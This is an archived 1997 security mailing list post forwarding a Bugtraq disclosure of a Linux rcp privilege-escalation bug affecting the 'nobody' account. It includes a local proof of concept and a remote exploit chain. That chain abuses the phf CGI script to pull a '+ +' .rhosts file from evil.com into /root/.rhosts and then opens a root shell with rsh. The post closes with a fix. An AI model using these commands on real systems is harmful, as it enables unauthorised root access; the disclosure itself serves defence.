[11] in Best-of-Security
BoS: Linux rcp bug
daemon@ATHENA.MIT.EDU (Michael Brennen)
Tue Feb 4 06:36:35 1997
Date: Tue, 4 Feb 1997 00:26:24 -0600 (CST)
From: Michael Brennen <mbrennen@fni.com>
Reply-To: best-of-security@suburbia.net
Errors-To: best-of-security-request@suburbia.net
To: best-of-security@suburbia.net
Resent-From: best-of-security@suburbia.net
---------- Forwarded message ----------
Date: Mon, 3 Feb 1997 21:20:22 -0600
From: Miroslav Pikus <miro@CCWF.CC.UTEXAS.EDU>
To: BUGTRAQ@netspace.org
Subject: Linux rcp bug
When playing around with rcp on Linux, we found something interesting,
that we haven't seen mentioned on bugtraq before:
SUMMARY: Root privileges can be obtained by user nobody with uid 65535 by
exploiting a problem with /usr/bin/rcp. Many applications are running as
'nobody', in particular the NCSA httpd server, which by default executes
all cgi-bin scripts under this uid.
PLATFORMS: We tested this only on Linux Red Hat 4.0 and Linux Slackware 3.1
EXPLOIT: This is kind of simple:
root[11:20][504]~# su - nobody
[nobody@slip-70-8 /]$ id
uid=65535(nobody) gid=65535
[nobody@slip-70-8 /]$ rcp oberheim@moe.cc.utexas.edu:brb /tmp/test
[nobody@slip-70-8 /]$ ls -la /tmp/test
-rw------- 1 root 65535 0 Jan 29 11:20 /tmp/test
But then of course this is unrealistic, since regular users don't usually
have access to the 'nobody' account. The password is usually disabled by
'*', the login directory is /dev/null, etc.. However some applications do
run under uid 65535, and if they can be made to execute rcp, root
privileges can be obtained by anyone.
For example NCSA httpd server forks processes under uid 'nobody' after it
gets executed by root, so any cgi-script which can execute rcp can be used
to gain root access. In particular, do you remember the old problem in the
phf cgi-bin script ? If a newline character is passed to the phf script,
it can execute arbitrary programs as user 'nobody'. So the problem with
rcp can be exploited remotely, and root access can be gained from outside,
for instance like this:
$ echo "+ +" > /tmp/my.rhosts
$ echo "GET /cgi-bin/phf?Qalias=x%0arcp+hacker@evil.com:/tmp/my.rhosts+
/root/.rhosts" | nc -v - 20 victim.com 80
$ rsh -l root victim.com "/bin/sh -i"
#
The fact that this bug can be exploited remotely makes it, I think, quite
serious. We wrote a simple script that searched our home domains (*.cz and
*.sk) for machines that could potentially be attacked this way, and we found
about 20 machines after a short scan.
By looking at the source code for rcp, we noticed that that setuid()
function for user 65535 issues -1 error signal and so rcp, after opening
the ports as root, fails to setuid() back to 65535.
QUICK FIX: change uid of user 'nobody' to something else than 65535. '99'
is used by default on RedHat 4.0 for instance..
Cau,
Miro Pikus, miro@mail.utexas.edu, http://ccwf.cc.utexas.edu/~miro/
Rudo Betak, betak@crick.fmed.uniba.sk
